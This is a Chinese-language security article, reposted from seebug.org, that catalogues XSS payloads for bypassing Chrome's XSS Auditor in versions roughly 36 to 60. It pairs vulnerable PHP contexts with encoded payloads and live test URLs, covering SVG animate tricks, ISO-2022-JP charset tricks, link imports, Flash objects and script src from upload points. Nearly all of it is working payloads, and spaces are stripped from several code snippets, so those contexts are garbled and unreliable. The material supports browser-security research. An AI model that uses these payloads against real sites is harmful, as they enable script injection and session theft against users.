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【技术分享】浏览器安全 / Chrome XSS Auditor bypass

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【技术分享】浏览器安全 / Chrome XSS Auditor bypass

2017-08-15 14:01:15
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来源: seebug.org






【技术分享】浏览器安全 / Chrome XSS Auditor bypass

作者:phith0n@长亭科技


Universal Bypass 5

最新版 Chrome 60

context = null

test

http://mhz.pw/game/xss/xss.php?xss=%3c%62%72%3e%00%00%00%00%00%00%00%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e


Bypass 4 (需交互的bypass)

chrome 60

?c=<svg><animatehref=#xattributeName=hrefvalues=&#x3000;javascript:alert(1)/><aid=x><rectwidth=100height=100/></a> //or ?c=<svgwidth=10000pxheight=10000px><a><rectwidth=10000pxheight=10000pxz-index=9999999/><animateattributeName=hrefvalues=javas&#99ript:alert(1)>

test

http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Canimate%20href%3D%23x%20attributeName%3Dhref%20values%3D%26%23x3000%3Bjavascript%3Aalert%281%29%20%2F%3E%3Ca%20id%3Dx%3E%3Crect%20width%3D100%20height%3D100%20%2F%3E%3C%2Fa%3E

http://mhz.pw/game/xss/xss.php?xss=%3Csvg%20width%3D10000px%20height%3D10000px%3E%3Ca%3E%3Crect%20width%3D10000px%20height%3D10000px%20z-index%3D9999999%20%2F%3E%3Canimate%20attributeName%3Dhref%20values%3Djavas%26%2399ript%3Aalert%281%29%3E


Bypass 3 via flash

只要支持flash的chrome版本(到Chrome 56),均可使用。

context = support flash

<objectallowscriptaccess=always><paramname=urlvalue=http://mhz.pw/game/xss/alert.swf>

test

http://mhz.pw/game/xss/xss.php?xss=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=http%3A%2F%2Fmhz.pw%2Fgame%2Fxss%2Falert.swf%3E


Universal Bypass 2

到Chrome 55/56可用, 无任何条件,只要输出在页面中即可执行代码。

context = null

?xss=<svg><sethref=#scriptattributeName=hrefto=data:,alert(document.domain)/><scriptid=scriptsrc=foo></script>

test

http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Cset%20href%3D%23script%20attributeName%3Dhref%20to%3Ddata%3A%2Calert(document.domain)%20%2F%3E%3Cscript%20id%3Dscript%20src%3Dfoo%3E%3C%2Fscript%3E

Universal Bypass 1

到Chrome 55/56可用,无任何条件,只要输出在页面中即可执行代码。

context = null

?xss=<linkrel="import"href="https:www.leavesongs.com/testxss"

test

http://mhz.pw/game/xss/xss.php?xss=%3Clink%20rel%3D%22import%22%20href%3D%22https%3Awww.leavesongs.com%2Ftestxss%22


Chrome 59 && 输出点后面有空格的情况

context:

<?php header('X-XSS-Protection:1;mode=block'); echo"<!DOCTYPEhtml><html><head></head><body>{$_GET['html']}</body></html>";

test

http://mhz.pw/game/xss/xss2.php?html=%3Cscript%3Ealert%28%29%3C/script


Chrome 44/45 + 属性中输出的情况

https://code.google.com/p/chromium/issues/detail?id=526104


chrome 45+ fixed

context:

<html> <head> <title>XSSAuditorbypass</title> </head> <body> <form> <inputtype="text"value="<?phpechoisset($_GET['input'])?$_GET['input']:'use?input=foo'?>"> </form> </body> </html>

payload:

"><script>prompt(/XSS/);1%02<script</script>

test

http://mhz.pw/game/xss/attr.php?xss=%22%3E%3Cscript%3Eprompt(%2FXSS%2F)%3B1%2502%3Cscript%3C%2Fscript%3E


无charset Bypass

没有输出charset的情况下,可以通过制定字符集来绕过auditor。

老版的这个编码:ISO-2022-KR,可用 onerror%0f=alert(1) bypass,但现在版本已经没用这个编码,所以该payload只适用于老版本chrome。

新版中,有这个编码:ISO-2022-JP,可以在关键处中加入 %1B%28B,会被省略。

context:

<?php echo$_GET['xss'];

payload:

老版:

xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%0f=alert(1)%3E

新版:

xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%1B%28B=alert(1)%3E

test:

http://mhz.pw/game/xss/charset.php?xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%1B%28B=alert(1)%3E

输出在属性中,并且后面还有<script>的情况

context:

<!doctypeHTML> <imgalt="<?phpecho$_GET['xss'];?>"> <script>y="abc";</script>

payload

{gfm-js-extract-pre-1}

test

http://mhz.pw/game/xss/beforescript.php?xss=%22%3E%3Cscript%2Fsrc%3Ddata%3A%2Calert(document.domain)%2B%22


双输出点的情况

context:

<?php //Echothevalueofparameterone echo"Thisistext1:".$_GET['text1']."<br><br>"; //Echothevalueofparametertwo echo"Thisistext2:".$_GET['text2']."<br><br>"; ?>

payload:

http://xxx/chrome.php?text1=<script>alert(/XSS/);void('&text2=')</script> http://xxx/chrome.php?text1=<script>alert(/XSS/);document.write('&text2=')</script>

test

http://mhz.pw/game/xss/doubleout.php?text1=%3Cscript%3Ealert(/XSS/);void(%27&text2=%27)%3C/script%3E


Chrome 43 XSSAuditor bypass

大概2015-06-23以前的版本均可。

context = 全部情况

payload:

xss=<svg><script>/<1/>alert(document.domain)</script></svg>

test

http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Cscript%3E/%3C1/%3Ealert(document.domain)%3C/script%3E%3C/svg%3E


Chrome 36~40 link 导入html导致bypass

Fixed on Oct 10, 2014.(实际上15年初还存在)

https://code.google.com/p/chromium/issues/detail?id=421166

http://www.wooyun.org/bugs/wooyun-2010-090304

由于link导入外部html导致XSSAuditor绕过。

context = 全部情况

payload

xss=<linkrel=importhref=https://auth.mhz.pw/game/xss/link.php>

test

http://mhz.pw/game/xss/xss.php?xss=%3Clink%20rel%3Dimport%20href%3Dhttps%3A%2F%2Fauth.mhz.pw%2Fgame%2Fxss%2Flink.php%3E


输出在script内字符串位置的情况

如果允许闭合字符串,直接闭合并写入javascript即可,如:

http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27

但如果不能闭合单引号呢?如这个context

<!DOCTYPEhtml> <html> <head> <metacharset="utf-8"> <title>all</title> <scripttype="text/javascript"> vara='<?phpechoaddslashes($_GET["xss"]);?>'; </script> </head> <body> 123 </body> </html>

payload

<script> x="</script><svg><script>alert(1)+&quot;"; <script> x="</script><svg><script>alert(1)+&apos;";

test

http://mhz.pw/game/xss/scriptaddslashes.php?xss=%3C/script%3E%3Csvg%3E%3Cscript%3Ealert(1)%2b%26apos%3B

http://mhz.pw/game/xss/scriptaddslashes.php?xss=%3C/script%3E%3Csvg%3E%3Cscript%3Ealert(1)//


有可控上传点的通用Bypass

context:

网站域名下有可控的上传点,我可以上传一个.txt或.js等文件(只要不是媒体文件,其他文件均可,比如上传是黑名单验证的,可以随便写个后缀)。再引入script标签的src属性即可。

payload

xss=%3Cscript%20src=/game/xss/upload/upload.txt%3E%3C/script%3E

test

http://mhz.pw/game/xss/xss.php?xss=%3Cscript%20src=/game/xss/upload/upload.txt%3E%3C/script%3E

http://mhz.pw/game/xss/xss.php?xss=%3Cscript%20src=/game/xss/upload/upload.ayu%3E%3C/script%3E


JSON Encode

context

<?=json_encode($_GET['x'])?>

payload

?x=<img+src=x+onerror=``-alert(1)>

存在字符替换的情况

当输出点在输出前存在字符(大部分字符,字符串什么的都可以)的替换,context如下:

<?php echostr_replace('"','&quote;',$_REQUEST['name']); echostr_replace('&','&amp;',$_REQUEST['name']); echostr_replace('\\','&bsol;',$_REQUEST['name']); echostr_replace('#','&num;',$_REQUEST['name']); echostr_replace('xxxx','b',$_REQUEST['name']);

既可以在payload里带入该字符进行绕过auditor:

xss=<script>'"'/alert(1)</script>

test

http://mhz.pw/game/xss/amps.php?name=zx%3Cscript%3E%27%26%27/alert(1)%3C/script%3Eczxc



【技术分享】浏览器安全 / Chrome XSS Auditor bypass
【技术分享】浏览器安全 / Chrome XSS Auditor bypass
本文转载自 seebug.org
原文链接:http://paper.seebug.org/376/

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